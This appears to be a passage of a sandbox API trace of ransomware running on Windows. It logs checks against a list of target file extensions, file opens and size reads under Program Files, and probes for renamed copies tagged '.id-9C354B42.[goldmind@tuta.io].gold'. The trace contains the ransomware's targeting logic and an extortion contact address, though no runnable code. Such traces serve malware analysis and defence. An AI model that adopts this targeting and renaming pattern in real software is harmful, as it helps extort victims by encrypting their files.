lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.907] lstrlenW (lpString=".rar") returned 4 [0088.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".bz2") returned 4 [0088.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString=".7z") returned 3 [0088.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".dbf") returned 4 [0088.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.907] lstrlenW (lpString=".1cd") returned 4 [0088.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0088.908] lstrlenW (lpString=".jpg") returned 4 [0088.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.908] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0088.908] lstrlenW (lpString="BabyBoyMainToNotesBackground_PAL.wmv") returned 36 [0088.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.921] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=157214) returned 1 [0088.921] CloseHandle (hObject=0x194) returned 1 [0088.921] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0088.934] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.033] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.091] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.091] lstrlenW (lpString=".doc") returned 4 [0089.091] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0089.091] lstrlenW (lpString=".docx") returned 5 [0089.091] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0089.091] lstrlenW (lpString=".pdf") returned 4 [0089.092] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".xls") returned 4 [0089.092] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0089.092] lstrlenW (lpString=".xlsx") returned 5 [0089.092] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0089.092] lstrlenW (lpString=".ppt") returned 4 [0089.092] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".zip") returned 4 [0089.092] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0089.092] lstrlenW (lpString=".rar") returned 4 [0089.092] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".bz2") returned 4 [0089.092] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".7z") returned 3 [0089.092] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".dbf") returned 4 [0089.092] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".1cd") returned 4 [0089.092] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".jpg") returned 4 [0089.092] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".doc") returned 4 [0089.092] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".docx") returned 5 [0089.092] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0089.092] lstrlenW (lpString=".pdf") returned 4 [0089.092] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".xls") returned 4 [0089.092] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0089.092] lstrlenW (lpString=".xlsx") returned 5 [0089.092] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0089.092] lstrlenW (lpString=".ppt") returned 4 [0089.092] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".zip") returned 4 [0089.092] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0089.092] lstrlenW (lpString=".rar") returned 4 [0089.092] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".bz2") returned 4 [0089.092] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0089.092] lstrlenW (lpString=".7z") returned 3 [0089.092] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0089.092] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.092] lstrlenW (lpString=".dbf") returned 4 [0089.092] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0089.093] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.093] lstrlenW (lpString=".1cd") returned 4 [0089.093] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0089.093] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0089.093] lstrlenW (lpString=".jpg") returned 4 [0089.093] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0089.093] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.093] lstrlenW (lpString="dotslightoverlay.png") returned 20 [0089.093] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.200] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4669) returned 1 [0089.200] CloseHandle (hObject=0x38c) returned 1 [0089.200] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0089.201] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.201] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.201] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.201] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.201] lstrlenW (lpString=".doc") returned 4 [0089.201] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.201] lstrlenW (lpString=".docx") returned 5 [0089.201] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0089.201] lstrlenW (lpString=".pdf") returned 4 [0089.201] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.201] lstrlenW (lpString=".xls") returned 4 [0089.201] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.201] lstrlenW (lpString=".xlsx") returned 5 [0089.201] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0089.201] lstrlenW (lpString=".ppt") returned 4 [0089.201] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.201] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.201] lstrlenW (lpString=".zip") returned 4 [0089.201] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.201] lstrlenW (lpString=".rar") returned 4 [0089.201] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.201] lstrlenW (lpString=".bz2") returned 4 [0089.201] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.201] lstrlenW (lpString=".7z") returned 3 [0089.201] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString=".dbf") returned 4 [0089.202] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString=".1cd") returned 4 [0089.202] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString=".jpg") returned 4 [0089.202] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString=".doc") returned 4 [0089.202] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString=".docx") returned 5 [0089.202] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0089.202] lstrlenW (lpString=".pdf") returned 4 [0089.202] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString=".xls") returned 4 [0089.202] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.202] lstrlenW (lpString=".xlsx") returned 5 [0089.202] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0089.202] lstrlenW (lpString=".ppt") returned 4 [0089.202] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.202] lstrlenW (lpString=".zip") returned 4 [0089.202] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.202] lstrlenW (lpString=".rar") returned 4 [0089.202] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.202] lstrlenW (lpString=".bz2") returned 4 [0089.202] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.202] lstrlenW (lpString=".7z") returned 3 [0089.203] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.203] lstrlenW (lpString=".dbf") returned 4 [0089.203] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.203] lstrlenW (lpString=".1cd") returned 4 [0089.203] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0089.203] lstrlenW (lpString=".jpg") returned 4 [0089.203] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.203] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.203] lstrlenW (lpString="16_9-frame-highlight.png") returned 24 [0089.203] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.205] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3122) returned 1 [0089.205] CloseHandle (hObject=0x38c) returned 1 [0089.205] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0089.305] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.357] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.357] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.358] lstrlenW (lpString=".doc") returned 4 [0089.358] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.358] lstrlenW (lpString=".docx") returned 5 [0089.358] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.358] lstrlenW (lpString=".pdf") returned 4 [0089.358] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.358] lstrlenW (lpString=".xls") returned 4 [0089.358] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.358] lstrlenW (lpString=".xlsx") returned 5 [0089.358] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.358] lstrlenW (lpString=".ppt") returned 4 [0089.358] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.358] lstrlenW (lpString=".zip") returned 4 [0089.358] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.358] lstrlenW (lpString=".rar") returned 4 [0089.358] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.358] lstrlenW (lpString=".bz2") returned 4 [0089.358] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.358] lstrlenW (lpString=".7z") returned 3 [0089.358] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.358] lstrlenW (lpString=".dbf") returned 4 [0089.358] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.358] lstrlenW (lpString=".1cd") returned 4 [0089.358] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.358] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.358] lstrlenW (lpString=".jpg") returned 4 [0089.358] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString=".doc") returned 4 [0089.359] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString=".docx") returned 5 [0089.359] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.359] lstrlenW (lpString=".pdf") returned 4 [0089.359] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString=".xls") returned 4 [0089.359] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.359] lstrlenW (lpString=".xlsx") returned 5 [0089.359] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.359] lstrlenW (lpString=".ppt") returned 4 [0089.359] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString=".zip") returned 4 [0089.359] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.359] lstrlenW (lpString=".rar") returned 4 [0089.359] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.359] lstrlenW (lpString=".bz2") returned 4 [0089.359] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString=".7z") returned 3 [0089.359] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString=".dbf") returned 4 [0089.359] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString=".1cd") returned 4 [0089.359] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.359] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0089.359] lstrlenW (lpString=".jpg") returned 4 [0089.359] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.359] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.359] lstrlenW (lpString="Pets_btn-previous-over-select.png") returned 33 [0089.359] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.360] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3016) returned 1 [0089.360] CloseHandle (hObject=0x38c) returned 1 [0089.360] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0089.360] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.360] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.360] lstrlenW (lpString=".doc") returned 4 [0089.360] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString=".docx") returned 5 [0089.361] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.361] lstrlenW (lpString=".pdf") returned 4 [0089.361] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString=".xls") returned 4 [0089.361] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.361] lstrlenW (lpString=".xlsx") returned 5 [0089.361] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.361] lstrlenW (lpString=".ppt") returned 4 [0089.361] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString=".zip") returned 4 [0089.361] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.361] lstrlenW (lpString=".rar") returned 4 [0089.361] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.361] lstrlenW (lpString=".bz2") returned 4 [0089.361] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString=".7z") returned 3 [0089.361] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString=".dbf") returned 4 [0089.361] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString=".1cd") returned 4 [0089.361] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString=".jpg") returned 4 [0089.361] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.361] lstrlenW (lpString=".doc") returned 4 [0089.361] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.361] lstrlenW (lpString=".docx") returned 5 [0089.361] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.361] lstrlenW (lpString=".pdf") returned 4 [0089.361] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.362] lstrlenW (lpString=".xls") returned 4 [0089.362] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.362] lstrlenW (lpString=".xlsx") returned 5 [0089.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.362] lstrlenW (lpString=".ppt") returned 4 [0089.362] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.362] lstrlenW (lpString=".zip") returned 4 [0089.362] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.362] lstrlenW (lpString=".rar") returned 4 [0089.362] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.362] lstrlenW (lpString=".bz2") returned 4 [0089.362] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.362] lstrlenW (lpString=".7z") returned 3 [0089.362] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.362] lstrlenW (lpString=".dbf") returned 4 [0089.362] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.362] lstrlenW (lpString=".1cd") returned 4 [0089.362] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0089.362] lstrlenW (lpString=".jpg") returned 4 [0089.362] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.362] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.362] lstrlenW (lpString="Pets_btn-previous-static.png") returned 28 [0089.362] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.362] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2019) returned 1 [0089.363] CloseHandle (hObject=0x38c) returned 1 [0089.363] 